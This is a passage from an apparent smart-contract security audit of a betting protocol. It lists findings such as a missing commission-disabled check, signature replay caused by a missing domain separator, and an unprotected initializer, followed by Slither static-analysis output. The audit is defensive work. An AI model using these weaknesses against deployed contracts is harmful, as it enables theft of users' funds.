258     emit CommissionClaimed(poolId_, player, _commissionAmount);
259 }
260 
```

```
261 // Allows user to claim generated commission if any in a pool
262 // The commission is calculated off-chain and the amount is signed
 ↳  by *signer* address
263 // This makes sure amount is not tempered.
264 function claimCommissionWithSignature(uint256 poolId_, uint256
 ↳ amount_, uint256 signedBlockNum_, bytes memory signature_)
 ↳ external validPool(poolId_) {
265     Pool memory pool = getPool(poolId_);
266     address player = msg.sender;
267
268     require(pool.status == PoolStatus.Decided, "Betting: Pool
 ↳ status should be Deciced");
269     require(claimedCommissions[player][poolId_] == 0, "Betting:
 ↳ Commission already claimed");
270     require(amount_ > 0, "Betting: No commission to claim");
271     require(amount_ <= pool.totalCommissions, "Betting: Payout
 ↳ exceeds total amount");
272
273     _verifySignature(player, poolId_, amount_, signedBlockNum_,
 ↳ signature_);
274     require(signedBlockNum_ <= block.number, "Signed block number
 ↳ must be older");
275     require(signedBlockNum_ + 50 >= block.number, "Signature
 ↳ expired");
276
277     // console.log("Transfer amount: %s", amount_);
278     claimedCommissions[player][poolId_] = amount_;
279     _commissionClaimed(player, poolId_, amount_);
280
281     erc20Contract().transfer(player, amount_);
282
283     emit CommissionClaimed(poolId_, player, amount_);
284 }
```

The `claimCommission()` function contains the following require statement that makes sure that the Pool commisions were not disabled: `require(!pool.commissionDisabled, "Betting: Pool commission has been disabled");`

The function `claimCommissionWithSignature()` is missing this check.

Risk Level:

Likelihood - 3
Impact - 1

Recommendation:

It is recommended to add the `require(!pool.commissionDisabled, "Betting: Pool commission has been disabled");` statement to the `claimCommissionWithSignature()` function.

Remediation Plan:

SOLVED: The Paradox team solved the issue and added the suggested require statement to the `claimCommissionWithSignature()` function.

3.6 (HAL-06) FLOATING PRAGMA - INFORMATIONAL

Description:

All the smart contracts are using the pragma >=0.7.0 <0.9.0;. As arithmetic operations revert on underflow and overflow by default after the Solidity version 0.8.0 it is recommended to set the pragma at smart contract level to pragma solidity ^0.8.0; in order to prevent the contracts from being deployed with a version lower than 0.8.0.

Risk Level:

Likelihood - 1
Impact - 1

Recommendation:

It is recommended to set the pragma at smart contract level to pragma solidity ^0.8.0;

Remediation Plan:

SOLVED: The Paradox team solved the issue.

3.7 (HAL-07) LACK OF A DOMAINSEPARATOR IN THE BETTING CONTRACT - INFORMATIONAL

Description:

In the Betting contract, the function claimCommissionWithSignature() validates a signature given by the user. This signature is formed by signing the hash shown below:

Listing 14: Betting.sol

```
470 function getMessageHash(address player_, uint256 poolId_, uint256
 ↳ amount_, uint256 signedBlockNum_) public pure returns(bytes32) {
471     return keccak256(
472         abi.encodePacked(
473             player_,
474             poolId_,
475             amount_,
476             signedBlockNum_
477         )
478     );
479 }
480
481 function _verifySignature(
482     address player_,
483     uint256 poolId_,
484     uint256 amount_,
485     uint256 signedBlockNum_,
486     bytes memory signature_
487 ) internal view {
488     bytes32 msgHash = getMessageHash(player_, poolId_, amount_,
 ↳ signedBlockNum_);
489     bytes32 signedHash = keccak256(
490         abi.encodePacked("\x19Ethereum Signed Message:\n32",
 ↳ msgHash)
491     );
492     require(
493         recoverSigner(signedHash, signature_) == signer(),
494         "Invalid signature"
495     );
```

```
496 }
```

This signedHash does not contain any domain separator, contract address nor chain id. If this contract is deployed in multiple blockchains and use the same signer in both chains (or if the same contract is deployed in the same chain with the same signer) the claimCommissionWithSignature() would be vulnerable to signature replay attacks.

Risk Level:

Likelihood - 1
Impact - 1

Recommendation:

It is recommended to add a domain separator in order to prevent signature replay attacks.

Remediation Plan:

ACKNOWLEDGED: The Paradox team acknowledges this issue. Assuming that the contract will just be deployed once in the Ethereum mainnet this attack vector is not possible.

3.8 (HAL-08) USE ++I INSTEAD OF I++ IN LOOPS FOR GAS OPTIMIZATION - INFORMATIONAL

Description:

In the createPool function within the BettingAdmin.sol contract, within the loop, the variable i is incremented using i++. It is known that, in loops, using ++i costs less gas per iteration than i++. This also affects variables incremented inside the loop code block.

Code Location:

Listing 15: BettingAdmin.sol (Line 103)

```
97   function createPool(uint256 numberOfTeams_, string memory
↳ eventName_, uint256 startTime_, uint256 duration_, address mint_,
↳ string[] memory teams_) external onlyRole(MULTISIG_ROLE) {
98       uint256 poolId = pools.length;
99       require(teams_.length == numberOfTeams_, "BettingAdmin:
↳ Mismatching teams and numberOfTeams");
100      uint256[] memory _winners;
101      pools.push(Pool(poolId, numberOfTeams_, eventName_, 0, 0, 0,
↳ 0, 0, PoolStatus.Created, _winners, startTime_, startTime_ +
↳ duration_,  IERC1155PresetMinterPauser(mint_), false, false));
102
103      for (uint256 i = 0; i < numberOfTeams_; i++) {
104          poolTeams[poolId].push(Team(i, teams_[i], TeamStatus.
↳ Created, 0));
105      }
106
107      emit PoolCreated(poolId, numberOfTeams_, startTime_);
108  }
```

Risk Level:

Likelihood - 2
Impact - 1

Recommendation:

It is recommended to use `++i` instead of `i++` to increment the value of a `uint` variable inside a loop. This also applies to variables declared inside the `for` loop, but does not apply outside of loops.

Remediation Plan:

SOLVED: The Paradox team solved the issue.

3.9 (HAL-09) ZERO ADDRESS NOT CHECKED - INFORMATIONAL

Description:

In the createPool function within the BettingAdmin.sol contract, mint_ contract address variable is not being checked to avoid pointing to the zero address.

Code Location:

Listing 16: BettingAdmin.sol (Line 101)

```
97   function createPool(uint256 numberOfTeams_, string memory
 ↳ eventName_, uint256 startTime_, uint256 duration_, address mint_,
 ↳ string[] memory teams_) external onlyRole(MULTISIG_ROLE) {
98       uint256 poolId = pools.length;
99       require(teams_.length == numberOfTeams_, "BettingAdmin:
 ↳ Mismatching teams and numberOfTeams");
100      uint256[] memory _winners;
101      pools.push(Pool(poolId, numberOfTeams_, eventName_, 0, 0, 0,
 ↳ 0, 0, PoolStatus.Created, _winners, startTime_, startTime_ +
 ↳ duration_,  IERC1155PresetMinterPauser(mint_), false, false));
102
103      for (uint256 i = 0; i < numberOfTeams_; i++) {
104          poolTeams[poolId].push(Team(i, teams_[i], TeamStatus.
 ↳ Created, 0));
105      }
106
107      emit PoolCreated(poolId, numberOfTeams_, startTime_);
108  }
```

Risk Level:

Likelihood - 2
Impact - 1

Recommendation:

When setting an address variable, always make sure the value is not zero.

Remediation Plan:

SOLVED: The Paradox team solved the issue.

AUTOMATED TESTING

4.1 STATIC ANALYSIS REPORT

Description:

Halborn used automated testing techniques to enhance the coverage of certain areas of the scoped contracts. Among the tools used was Slither, a Solidity static analysis framework. After Halborn verified all the contracts in the repository and was able to compile them correctly into their ABI and binary formats, Slither was run on the all-scoped contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.

Slither results:

Betting.sol

```
ERC1967UpgradeUpgradeable._functionDelegateCall(address,bytes) (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#198-204) uses delegatecall to a input-controlled function
- (success,returndata) = target.delegatecall(data) (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#202)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#controlled-delegatecall

Betting.placeBet(uint256,uint256,uint256) (contracts/BettingNew.sol#148-178) ignores return value by usdcContract().transferFrom(player,address(this),_netAmount) (contracts/BettingNew.sol#173)
Betting.claimPayment(uint256) (contracts/BettingNew.sol#182-204) ignores return value by usdcContract().transfer(winner,_winningAmount) (contracts/BettingNew.sol#201)
Betting.claimRefund(uint256) (contracts/BettingNew.sol#208-229) ignores return value by usdcContract().transfer(player,_refundAmount) (contracts/BettingNew.sol#226)
Betting.claimCommission(uint256) (contracts/BettingNew.sol#250-268) ignores return value by usdcContract().transfer(player,_commissionAmount) (contracts/BettingNew.sol#265)
Betting.claimCommissionWithSignature(uint256,uint256,uint256,bytes) (contracts/BettingNew.sol#273-293) ignores return value by usdcContract().transfer(player,amount_) (contracts/BettingNew.sol#290)
Betting.transferCommissionToVault(uint256,uint256) (contracts/BettingNew.sol#295-299) ignores return value by usdcContract().transfer(vault(),amount_) (contracts/BettingNew.sol#298)
Betting.transferPayoutToVault(uint256,uint256) (contracts/BettingNew.sol#301-305) ignores return value by usdcContract().transfer(vault(),amount_) (contracts/BettingNew.sol#304)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unchecked-transfer

Betting (contracts/BettingNew.sol#24-552) is an upgradeable contract that does not protect its initiliaze functions: Betting.initialize(address) (contracts/BettingNew.sol#85-92). Anyone can delete the contract with
zeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol#72-75)UUPSUpgradeable.upgradeToAndCall(address,bytes) (node_modules/@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol#85-88)Reference
ntation#unprotected-upgradeable-contract

Betting._totalAmountWon(address,uint256) (contracts/BettingNew.sol#361-388) performs a multiplication on the result of a division:
        -_winningsPerTeam = _totalWinnings / pool.winners.length (contracts/BettingNew.sol#373)
        -_winningAmount = _winningAmount + ((_winningsPerTeam * _userBalance) / _teamBalance) + _userBalance (contracts/BettingNew.sol#384)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#divide-before-multiply

ERC1967UpgradeUpgradeable._upgradeToAndCallUUPS(address,bytes,bool).slot (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#98) is a local variable never initialized
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#uninitialized-local-variables

ERC1967UpgradeUpgradeable._upgradeToAndCallUUPS(address,bytes,bool) (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#87-105) ignores return value by IERC1822ProxiableUpg
s/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#98-102)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-return

Betting.viewPoolDistribution(uint256) (contracts/BettingNew.sol#308-316) has external calls inside a loop: _betAmounts[i] = pool.mintContract.totalSupply(i) (contracts/BettingNew.sol#312)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation/#calls-inside-a-loop

Variable 'ERC1967UpgradeUpgradeable._upgradeToAndCallUUPS(address,bytes,bool).slot (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#98)' in ERC1967UpgradeUpgradeable._up
enzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#87-105) potentially used before declaration: require(bool,string)(slot == _IMPLEMENTATION_SLOT,ERC1967Upgrade: unsupported proxiableUUID)
/ERC1967/ERC1967UpgradeUpgradeable.sol#99)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#pre-declaration-usage-of-local-variables

Reentrancy in Betting.claimCommission(uint256) (contracts/BettingNew.sol#250-268):
        External calls:
        - _commissionClaimed(player,poolId_,_commissionAmount) (contracts/BettingNew.sol#263)
                - bettingAdmin.commissionClaimed(player_,poolId_,commissionAmount_) (contracts/BettingNew.sol#140)
        - usdcContract().transfer(player,_commissionAmount) (contracts/BettingNew.sol#265)
        Event emitted after the call(s):
        - CommissionClaimed(poolId_,player,_commissionAmount) (contracts/BettingNew.sol#267)
Reentrancy in Betting.claimCommissionWithSignature(uint256,uint256,uint256,bytes) (contracts/BettingNew.sol#273-293):
        External calls:
        - _commissionClaimed(player,poolId_,amount_) (contracts/BettingNew.sol#288)
                - bettingAdmin.commissionClaimed(player_,poolId_,commissionAmount_) (contracts/BettingNew.sol#140)
        - usdcContract().transfer(player,amount_) (contracts/BettingNew.sol#290)
        Event emitted after the call(s):
        - CommissionClaimed(poolId_,player,amount_) (contracts/BettingNew.sol#292)
Reentrancy in Betting.claimPayment(uint256) (contracts/BettingNew.sol#182-204):
        External calls:
        - _payoutClaimed(winner,poolId_,_winningAmount) (contracts/BettingNew.sol#198)
                - bettingAdmin.payoutClaimed(player_,poolId_,commissionAmount_) (contracts/BettingNew.sol#132)
        - pool.mintContract.burnBatch(winner,pool.winners,balances) (contracts/BettingNew.sol#200)
        - usdcContract().transfer(winner,_winningAmount) (contracts/BettingNew.sol#201)
        Event emitted after the call(s):
        - WinningsClaimed(poolId_,winner,_winningAmount) (contracts/BettingNew.sol#203)
Reentrancy in Betting.claimRefund(uint256) (contracts/BettingNew.sol#208-229):
        External calls:
        - _refundClaimed(player,poolId_,_refundAmount) (contracts/BettingNew.sol#223)
                - bettingAdmin.refundClaimed(player_,poolId_,commissionAmount_) (contracts/BettingNew.sol#136)
        - pool.mintContract.burnBatch(player,_tokens,balances) (contracts/BettingNew.sol#225)
        - usdcContract().transfer(player,_refundAmount) (contracts/BettingNew.sol#226)
        Event emitted after the call(s):
        - RefundClaimed(poolId_,player,_refundAmount) (contracts/BettingNew.sol#228)
Reentrancy in Betting.placeBet(uint256,uint256,uint256) (contracts/BettingNew.sol#148-178):
        External calls:
        - _placeBet(player,poolId_,teamId_,amount_,_commission) (contracts/BettingNew.sol#170)
                - bettingAdmin.betPlaced(player_,poolId_,teamId_,amount_,commission_) (contracts/BettingNew.sol#128)
```

```
        - usdcContract().transferFrom(player,address(this),_netAmount) (contracts/BettingNew.sol#173)
        - pool.mintContract.mint(player,teamId_,amount_) (contracts/BettingNew.sol#175)
        Event emitted after the call(s):
        - BetPlaced(poolId_,player,teamId_,amount_) (contracts/BettingNew.sol#177)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-3

Betting.placeBet(uint256,uint256,uint256) (contracts/BettingNew.sol#148-178) uses timestamp for comparisons
        Dangerous comparisons:
        - require(bool,string)(pool.startTime > block.timestamp,Betting: Cannot place bet after pool start time) (contracts/BettingNew.sol#152)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#block-timestamp

AddressUpgradeable.verifyCallResult(bool,bytes,string) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#174-194) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#186-189)
StorageSlotUpgradeable.getAddressSlot(bytes32) (node_modules/@openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol#52-56) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol#53-55)
StorageSlotUpgradeable.getBooleanSlot(bytes32) (node_modules/@openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol#61-65) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol#62-64)
StorageSlotUpgradeable.getBytes32Slot(bytes32) (node_modules/@openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol#70-74) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol#71-73)
StorageSlotUpgradeable.getUint256Slot(bytes32) (node_modules/@openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol#79-83) uses assembly
        - INLINE ASM (node_modules/@openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol#80-82)
Betting._splitSignature(bytes) (contracts/BettingNew.sol#534-550) uses assembly
        - INLINE ASM (contracts/BettingNew.sol#545-549)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#assembly-usage

Different versions of Solidity are used:
        - Version used: ['>=0.7.0<0.9.0', '^0.8.0', '^0.8.1', '^0.8.2']
        - ^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#4)
        - ^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/access/IAccessControlUpgradeable.sol#4)
        - ^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/interfaces/draft-IERC1822Upgradeable.sol#4)
        - ^0.8.2 (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#4)
        - ^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/proxy/beacon/IBeaconUpgradeable.sol#4)
        - ^0.8.2 (node_modules/@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol#4)
        - ^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol#4)
        - ^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol#4)
        - ^0.8.1 (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#4)
        - ^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#4)
        - ^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol#4)
        - ^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol#4)
        - ^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol#4)
        - ^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol#4)
        - >=0.7.0<0.9.0 (contracts/BettingNew.sol#3)
        - >=0.7.0<0.9.0 (contracts/Storage.sol#3)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#different-pragma-directives-are-used

AccessControlUpgradeable.__AccessControl_init() (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#51-52) is never used and should be removed
AccessControlUpgradeable.__AccessControl_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#54-55) is never used and should be removed
AccessControlUpgradeable._setRoleAdmin(bytes32,bytes32) (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#212-216) is never used and should be removed
AddressUpgradeable.functionCall(address,bytes) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#85-87) is never used and should be removed
AddressUpgradeable.functionCall(address,bytes,string) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#95-101) is never used and should be removed
AddressUpgradeable.functionCallWithValue(address,bytes,uint256) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#114-120) is never used and should be removed
AddressUpgradeable.functionCallWithValue(address,bytes,uint256,string) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#128-139) is never used and should be removed
AddressUpgradeable.functionStaticCall(address,bytes) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#147-149) is never used and should be removed
AddressUpgradeable.functionStaticCall(address,bytes,string) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#157-166) is never used and should be removed
AddressUpgradeable.sendValue(address,uint256) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#60-65) is never used and should be removed
ContextUpgradeable.__Context_init() (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#18-19) is never used and should be removed
ContextUpgradeable.__Context_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#21-22) is never used and should be removed
ContextUpgradeable._msgData() (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#27-29) is never used and should be removed
ERC165Upgradeable.__ERC165_init() (node_modules/@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol#24-25) is never used and should be removed
ERC165Upgradeable.__ERC165_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol#27-28) is never used and should be removed
ERC1967UpgradeUpgradeable.__ERC1967Upgrade_init() (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#21-22) is never used and should be removed
ERC1967UpgradeUpgradeable.__ERC1967Upgrade_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#24-25) is never used and should be removed
ERC1967UpgradeUpgradeable._changeAdmin(address) (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#139-142) is never used and should be removed
ERC1967UpgradeUpgradeable._getAdmin() (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#122-124) is never used and should be removed
ERC1967UpgradeUpgradeable._getBeacon() (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#158-160) is never used and should be removed
ERC1967UpgradeUpgradeable._setAdmin(address) (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#129-132) is never used and should be removed
ERC1967UpgradeUpgradeable._setBeacon(address) (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#165-172) is never used and should be removed
ERC1967UpgradeUpgradeable._upgradeBeaconToAndCall(address,bytes,bool) (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#180-190) is never used and should be removed
Initializable._disableInitializers() (node_modules/@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol#129-131) is never used and should be removed
StorageSlotUpgradeable.getBytes32Slot(bytes32) (node_modules/@openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol#70-74) is never used and should be removed
StorageSlotUpgradeable.getUint256Slot(bytes32) (node_modules/@openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol#79-83) is never used and should be removed
StringsUpgradeable.toHexString(uint256) (node_modules/@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol#40-51) is never used and should be removed
StringsUpgradeable.toString(uint256) (node_modules/@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol#15-35) is never used and should be removed
UUPSUpgradeable.__UUPSUpgradeable_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol#26-27) is never used and should be removed
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dead-code

Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/access/IAccessControlUpgradeable.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/interfaces/draft-IERC1822Upgradeable.sol#4) allows old versions
Pragma version^0.8.2 (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/proxy/beacon/IBeaconUpgradeable.sol#4) allows old versions
Pragma version^0.8.2 (node_modules/@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol#4) allows old versions
Pragma version^0.8.1 (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol#4) allows old versions
Pragma version>=0.7.0<0.9.0 (contracts/BettingNew.sol#3) is too complex
Pragma version>=0.7.0<0.9.0 (contracts/Storage.sol#3) is too complex
solc-0.8.9 is not recommended for deployment
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity

Low level call in ERC1967UpgradeUpgradeable._functionDelegateCall(address,bytes) (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#198-204):
        - (success,returndata) = target.delegatecall(data) (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#202)
Low level call in AddressUpgradeable.sendValue(address,uint256) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#60-65):
        - (success) = recipient.call{value: amount}() (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#63)
Low level call in AddressUpgradeable.functionCallWithValue(address,bytes,uint256,string) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#128-139):
        - (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#137)
Low level call in AddressUpgradeable.functionStaticCall(address,bytes,string) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#157-166):
        - (success,returndata) = target.staticcall(data) (node_modules/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol#164)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#low-level-calls

Function AccessControlUpgradeable.__AccessControl_init() (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#51-52) is not in mixedCase
Function AccessControlUpgradeable.__AccessControl_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#54-55) is not in mixedCase
Variable AccessControlUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol#247) is not in mixedCase
Function ERC1967UpgradeUpgradeable.__ERC1967Upgrade_init() (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#21-22) is not in mixedCase
Function ERC1967UpgradeUpgradeable.__ERC1967Upgrade_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#24-25) is not in mixedCase
Variable ERC1967UpgradeUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol#311) is not in mixedCase
Function UUPSUpgradeable.__UUPSUpgradeable_init() (node_modules/@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol#23-24) is not in mixedCase
Function UUPSUpgradeable.__UUPSUpgradeable_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol#26-27) is not in mixedCase
Variable UUPSUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol#107) is not in mixedCase
Variable UUPSUpgradeable.__self (node_modules/@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol#29) is not in mixedCase
Function ContextUpgradeable.__Context_init() (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#18-19) is not in mixedCase
Function ContextUpgradeable.__Context_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#21-22) is not in mixedCase
Variable ContextUpgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol#36) is not in mixedCase
Function ERC165Upgradeable.__ERC165_init() (node_modules/@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol#24-25) is not in mixedCase
Function ERC165Upgradeable.__ERC165_init_unchained() (node_modules/@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol#27-28) is not in mixedCase
Variable ERC165Upgradeable.__gap (node_modules/@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol#41) is not in mixedCase
Parameter Betting.recoverSigner(bytes32,bytes)._ethSignedMessageHash (contracts/BettingNew.sol#524) is not in mixedCase
Parameter Betting.recoverSigner(bytes32,bytes)._signature (contracts/BettingNew.sol#524) is not in mixedCase
Function Betting._splitSignature(bytes) (contracts/BettingNew.sol#534-550) is not in mixedCase
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#conformance-to-solidity-naming-conventions

Variable Betting.placeBet(uint256,uint256,uint256)._commission (contracts/BettingNew.sol#159) is too similar to Betting._placeBet(address,uint256,uint256,uint256,uint256).commission_ (contracts/BettingNew.sol#127)
Variable Betting._totalCommissionGenerated(address,uint256)._commissionAmount (contracts/BettingNew.sol#428) is too similar to Betting._payoutClaimed(address,uint256,uint256).commissionAmount_ (contracts/BettingNew
Variable Betting._totalCommissionGenerated(address,uint256)._commissionAmount (contracts/BettingNew.sol#428) is too similar to Betting._refundClaimed(address,uint256,uint256).commissionAmount_ (contracts/BettingNew
Variable Betting.claimCommission(uint256)._commissionAmount (contracts/BettingNew.sol#258) is too similar to Betting._commissionClaimed(address,uint256,uint256).commissionAmount_ (contracts/BettingNew.sol#139)
Variable Betting.claimCommission(uint256)._commissionAmount (contracts/BettingNew.sol#258) is too similar to Betting._payoutClaimed(address,uint256,uint256).commissionAmount_ (contracts/BettingNew.sol#131)
Variable Betting._totalCommissionGenerated(address,uint256)._commissionAmount (contracts/BettingNew.sol#428) is too similar to Betting._commissionClaimed(address,uint256,uint256).commissionAmount_ (contracts/Bettin
Variable Betting.claimCommission(uint256)._commissionAmount (contracts/BettingNew.sol#258) is too similar to Betting._refundClaimed(address,uint256,uint256).commissionAmount_ (contracts/BettingNew.sol#135)
Variable Betting.allPayouts(address,uint256)._commission (contracts/BettingNew.sol#356) is too similar to Betting._placeBet(address,uint256,uint256,uint256,uint256).commission_ (contracts/BettingNew.sol#127)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#variable-names-are-too-similar

